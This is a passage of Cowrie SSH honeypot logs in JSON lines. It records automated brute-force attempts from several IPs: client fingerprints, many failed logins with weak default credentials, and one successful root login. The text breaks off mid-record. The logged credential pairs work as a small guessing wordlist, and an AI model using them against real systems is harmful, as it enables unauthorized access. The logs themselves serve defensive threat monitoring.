{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:49.014834Z","src_ip":"92.118.39.92","session":"e134b1714647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:49.434532Z","src_ip":"92.118.39.92","session":"e134b1714647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:50.540542Z","src_ip":"92.118.39.92","session":"e134b1714647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40014,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4feff1ff650","protocol":"ssh","message":"New connection: 2.57.122.208:40014 (159.203.135.109:22) [session: b4feff1ff650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:51.192091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:51.346533Z","src_ip":"2.57.122.208","session":"b4feff1ff650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:51.350791Z","src_ip":"2.57.122.208","session":"b4feff1ff650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:52.240187Z","src_ip":"2.57.122.208","session":"b4feff1ff650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:14:53.345620Z","src_ip":"2.57.122.208","session":"b4feff1ff650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39040,"dst_ip":"10.17.0.5","dst_port":22,"session":"410315916de7","protocol":"ssh","message":"New connection: 80.94.92.184:39040 (10.17.0.5:22) [session: 410315916de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:15:16.482635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:15:16.692442Z","src_ip":"80.94.92.184","session":"410315916de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:15:16.695444Z","src_ip":"80.94.92.184","session":"410315916de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:15:18.054472Z","src_ip":"80.94.92.184","session":"410315916de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:15:19.297501Z","src_ip":"80.94.92.184","session":"410315916de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":55446,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a3ab63c217a","protocol":"ssh","message":"New connection: 195.178.110.218:55446 (159.203.135.109:22) [session: 2a3ab63c217a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:15:23.911907Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:15:23.988586Z","src_ip":"195.178.110.218","session":"2a3ab63c217a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":51598,"dst_ip":"159.203.135.109","dst_port":22,"session":"30cb4c8147ed","protocol":"ssh","message":"New connection: 92.118.39.92:51598 (159.203.135.109:22) [session: 30cb4c8147ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:02.327273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:02.355061Z","src_ip":"92.118.39.92","session":"30cb4c8147ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:02.437861Z","src_ip":"92.118.39.92","session":"30cb4c8147ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:02.884881Z","src_ip":"92.118.39.92","session":"30cb4c8147ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:03.994531Z","src_ip":"92.118.39.92","session":"30cb4c8147ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39358,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dfb5e1701c8","protocol":"ssh","message":"New connection: 2.57.122.208:39358 (159.203.135.109:22) [session: 0dfb5e1701c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:05.793415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:05.797913Z","src_ip":"2.57.122.208","session":"0dfb5e1701c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:05.902060Z","src_ip":"2.57.122.208","session":"0dfb5e1701c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:06.214934Z","src_ip":"2.57.122.208","session":"0dfb5e1701c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:07.322371Z","src_ip":"2.57.122.208","session":"0dfb5e1701c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56344,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b5ffcce8031","protocol":"ssh","message":"New connection: 195.178.110.218:56344 (159.203.135.109:22) [session: 8b5ffcce8031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:56.089254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:56.092956Z","src_ip":"195.178.110.218","session":"8b5ffcce8031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:56.167741Z","src_ip":"195.178.110.218","session":"8b5ffcce8031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:56.394186Z","src_ip":"195.178.110.218","session":"8b5ffcce8031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:17:57.470939Z","src_ip":"195.178.110.218","session":"8b5ffcce8031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41754,"dst_ip":"10.17.0.5","dst_port":22,"session":"41181dcd6127","protocol":"ssh","message":"New connection: 80.94.92.184:41754 (10.17.0.5:22) [session: 41181dcd6127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:18:28.309724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:18:28.357483Z","src_ip":"80.94.92.184","session":"41181dcd6127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:18:28.538266Z","src_ip":"80.94.92.184","session":"41181dcd6127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:18:29.585211Z","src_ip":"80.94.92.184","session":"41181dcd6127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:18:30.788814Z","src_ip":"80.94.92.184","session":"41181dcd6127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.123.65.63","src_port":41956,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d5754826859","protocol":"ssh","message":"New connection: 223.123.65.63:41956 (10.17.0.5:22) [session: 0d5754826859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:02.766942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:02.773878Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:03.598432Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz@WSX!@#","message":"login attempt [root/1qaz@WSX!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:05.007453Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38822,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dd62c9c0939","protocol":"ssh","message":"New connection: 92.118.39.92:38822 (159.203.135.109:22) [session: 1dd62c9c0939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:23.055052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:23.059106Z","src_ip":"92.118.39.92","session":"1dd62c9c0939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2